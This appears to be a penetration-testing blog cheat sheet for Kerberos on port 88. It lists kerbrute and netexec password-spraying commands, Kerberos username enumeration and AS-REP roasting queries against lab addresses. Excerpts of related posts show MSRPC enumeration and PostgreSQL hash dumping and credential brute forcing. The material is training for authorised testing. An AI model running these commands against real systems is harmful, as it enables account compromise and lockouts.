Skip to main content

88 - Kerberos

 


# Kerbrute will perform a horizontal brute force attack against a list of domain users. This is useful for testing one or two common passwords when you have a large list of users. WARNING: this does will increment the failed login count and lock out accounts.

kerbrute passwordspray -d lab.ponpor.com --dc 10.10.10.100 domain_users.txt Password123


# Password spray using SMB protocol with the users.txt

netexec smb toffee.bth -u Users.txt -p 'password1'


# Password spray using SMB protocol with the users.txt for domain users

netexec smb 10.10.10.100 -d toffee.bth -u Users.txt -p 'password1' --continue-on-success


# Password spray using SMB protocol with the users.txt for non domain users

netexec smb 10.10.10.0/24 -u Users.txt -p 'password1' --continue-on-success



# Brute force usernames from Kerberos 
kerbrute userenum -d candy.LOCAL /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.100

# Give all users have Do not require Kerberos preauthentication
impacket-GetNPUsers candy.local/ -dc-ip 10.10.10.100

# Give all users have Do not require Kerberos preauthentication
nmap -sV --script krb5-enum-users --script-args krb5-enum-users.realm='candy.local',userdb='/usr/share/wordlist/userlist.txt' 10.10.10.100 -p88

Comments

Post a Comment

Popular posts from this blog

MSRPC (Microsoft Remote Procedure Call) Pentesting - Port 135

  It is also known as a function call or a subroutine call. Default ports are 135, 593. Enumeration nmap --script msrpc-enum -p 135 <target-ip> RPC Endpoints To enumerate RPC endpoints, use impacket-rpcdump. impacket-rpcdump -port 135 <target-ip> | grep -E 'MS-EFSRPC|MS-RPRN|MS-PAR' MS-EFSRPC: It might be vulnerable to PetitPotam. MS-RPRN, MS-PAR: It might be vulnerable to PrintNightmare. Metasploit msfconsole msf> use auxiliary/scanner/dcerpc/endpoint_mapper msf> use auxiliary/scanner/dcerpc/hidden msf> use auxiliary/scanner/dcerpc/management msf> use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor Connect # Anonymous logon rpcclient -N -U "" <target-ip> rpcclient -N -U "" -p 593 <target-ip> rpcclient -N -U "" dc.example.local # Specify username # -W: Workgroup # -N: No password rpcclient -U username <target-ip> rpcclient -W WORKGROUP -U username <target-ip> rpcclient -U username -N <target-ip...
Post a Comment
Read more

Thread Modelling Cheatsheet: Know Your Weaknesses Before Attackers Do!

Threat Modelling Part - 1 What is Threat Modelling?      Threat modelling is the process of identifying, assessing, and mitigating potential security threats before they happen. It helps teams anticipate how systems can be attacked and build defences proactively , not reactively. Key Concepts Threat: Something (like a hacker or malware) that could exploit a weakness. Vulnerability: A flaw in your system that can be exploited. Risk: The chance that a threat will exploit a vulnerability to cause damage. Analogy : Threat = Burglar Vulnerability = Unlocked door Risk = Getting robbed because the door is open in a bad neighborhood  Threat Modelling Process (High-Level) Define the Scope – What systems/apps are you evaluating? Identify Assets – What needs protection? (e.g. data, services) Identify Threats – Think like an attacker. What could go wrong? Analyze Vulnerabilities – What weaknesses exist? Prioritize Ri...
Post a Comment
Read more

PostgreSQL - Port 5432

  PostgreSQL, also known as Postgres, is a powerful open-source object-relational database system. It has earned a strong reputation for its proven architecture, reliability, data integrity, robust feature set, and extensibility. Identify PostgreSQL nmap -sV -p 5432 <target-host> nmap Scanning nmap -sC -sV --script vuln,vulners --script-args mincvss=7.0 -p5432,5433 -Pn 10.10.10.10 #make sure to check for vulnerable versions nmap -sV -p 5432 <target-host> Exploiting Known Vulnerabilities searchsploit postgresql <version> Enumerating Databases and Tables List all databases \l Switch to a database \c <database_name> List tables in the current database: \dt Extract data from a specific table: SELECT * FROM <table_name>; Dumping Hashes SELECT usename, passwd FROM pg_shadow; Accessing File System COPY (SELECT * FROM sensitive_table) TO '/tmp/sensitive_data.txt'; Bruteforcing Postgres Creds #Using Metasploit use auxiliary/scanner/postgr...
Post a Comment
Read more